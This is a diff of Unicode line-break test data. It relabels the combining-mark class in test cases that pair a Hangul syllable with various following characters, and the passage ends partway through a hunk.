× AC00 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× AC00 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× AC00 × 0308 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× AC00 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× AC00 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× AC00 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× AC00 × 0308 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× AC00 × 0009 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× AC00 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× AC00 × 0308 × 0009 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× AC00 × 0308 × 0009 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× AC00 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× AC00 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× AC00 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× AC00 × 0308 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× AC00 × 000B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× AC00 × 0020 × 000B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× AC00 × 0308 × 000B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× AC00 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× AC00 × 0308 × 000B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× AC00 × 0308 × 0020 × 000B ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× AC00 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× AC00 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× AC00 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× AC00 × 0308 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× AC00 × 007D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× AC00 × 0020 × 007D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× AC00 × 0308 × 007D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× AC00 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× AC00 × 0308 × 007D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× AC00 × 0308 × 0020 × 007D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× AC00 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× AC00 × 0020 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× AC00 × 0308 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× AC00 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× AC00 × 0001 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× AC00 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× AC00 × 0308 × 0001 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× AC00 × 0308 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× AC00 × 0308 × 0020 × 0029 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× AC00 × 000D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× AC00 × 0020 × 000D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× AC00 × 0308 × 000D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× AC00 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× AC00 × 0308 × 000D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× AC00 × 0308 × 0020 × 000D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× AC00 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× AC00 × 0020 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× AC00 × 0308 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× AC00 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× AC00 × 0308 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× AC00 × 0308 × 0020 × 0021 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× AC00 × 00A0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× AC00 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× AC00 × 0308 × 00A0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× AC00 × 0308 × 00A0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× AC00 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× AC00 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× AC00 × 0308 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× AC00 × 0308 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× AC00 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× AC00 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× AC00 × 0308 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× AC00 × 0308 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× AC00 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× AC00 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× AC00 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× AC00 × 0308 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× AC00 × 002D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× AC00 × 0020 ÷ 002D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× AC00 × 0308 × 002D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× AC00 × 0308 × 002D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 002D ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× AC00 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] WATCH (ID) ÷ [0.3]
× AC00 × 0020 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× AC00 × 0308 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× AC00 × 0308 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 231A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× AC00 × 2024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
× AC00 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× AC00 × 0308 × 2024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× AC00 × 0308 × 2024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [27.01] ONE DOT LEADER (IN) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× AC00 × 002C ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [13.02] COMMA (IS) ÷ [0.3]
× AC00 × 0020 × 002C ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× AC00 × 0308 × 002C ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× AC00 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× AC00 × 0308 × 002C ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× AC00 × 0308 × 0020 × 002C ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× AC00 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× AC00 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× AC00 × 0308 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× AC00 × 0308 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× AC00 × 11A8 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [26.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× AC00 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× AC00 × 0308 × 11A8 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [26.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× AC00 × 0308 × 11A8 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.02] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× AC00 × 1160 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [26.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× AC00 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× AC00 × 0308 × 1160 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [26.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× AC00 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× AC00 × 0308 × 1160 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [26.02] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× AC00 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× AC00 × 000A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× AC00 × 0020 × 000A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× AC00 × 0308 × 000A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× AC00 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× AC00 × 0308 × 000A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× AC00 × 0308 × 0020 × 000A ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× AC00 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× AC00 × 0020 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× AC00 × 0308 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× AC00 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× AC00 × 0308 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× AC00 × 0308 × 0020 × 0085 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× AC00 × 17D6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× AC00 × 0020 ÷ 17D6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× AC00 × 0308 × 17D6 ÷ # × [0.3] HANGUL SYLLABLE GA (H2) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
